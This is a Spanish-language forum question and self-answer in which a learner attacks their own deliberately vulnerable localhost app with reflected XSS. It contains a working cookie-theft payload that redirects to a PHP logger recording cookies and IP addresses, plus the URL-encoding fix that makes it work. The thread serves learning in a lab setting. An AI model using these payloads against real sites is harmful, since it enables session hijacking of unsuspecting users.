No se puede robar la cookie en mi aplicación vulnerable reflejada XSS

1

Estoy tratando de aprender sobre XSS, por lo que he hecho que una aplicación web sea vulnerable al XSS reflejado. Estoy intentando robar las cookies del usuario, por lo que si escribo lo siguiente se muestra el valor de la cookie:

http://localhost/lab1/php/login.php?message=<script>alert(document.cookie);</script>

Quiero enviar el valor de la cookie al siguiente script PHP (getcookies.php) en mi servidor local:

<?php
$file = 'cookies_list.txt';
$stringPrint = 'Time ' . date("Y/m/d - h:i:sa") . ' Origin IP: ' . $_SERVER['REMOTE_ADDR'] . '  Cookie: ' . $_GET["c"] .  PHP_EOL;
file_put_contents($file, $stringPrint, FILE_APPEND | LOCK_EX);
?>

Cuando escribo esto en la URL del navegador, el script PHP obtiene el valor de "prueba" de c param.

http://localhost/getcookies.php?c=test

En cambio, cuando escribo esto, el script PHP no obtiene ningún valor.

http://localhost/lab1/php/login.php?message=<script>document.location.href='http://localhost/getcookies.php?c='+document.cookie;</script>

¿Alguien podría decirme por qué no funciona?

Actualizar:

  • También puedo ejecutar estas cargas útiles:

    message=<script>document.body.innerHTML = '';</script>
    message=<script>document.write("hi");</script>
    
  • Las cookies no son HttpOnly.

  • No, la solicitud GET se no se envía al servidor.

pregunta v8rs 23.01.2017 - 20:03
fuente

1 respuesta

1

He visto en Firebug que la carga útil enviada de la solicitud GET era la siguiente:

%3Cscript%3Edocument.location.href=%27http://localhost/getcookies.php?c=%27+document.cookie;%3C/script%3E

Por lo tanto, el carácter + no estaba siendo codificado en la URL. Lo he codificado: %2B resultando en la carga útil lo siguiente:

%3Cscript%3Edocument.location.href=%27http://localhost/getcookies.php?c=%27%2Bdocument.cookie;%3C/script%3E
    
respondido por el v8rs 23.01.2017 - 21:47
fuente

Lea otras preguntas en las etiquetas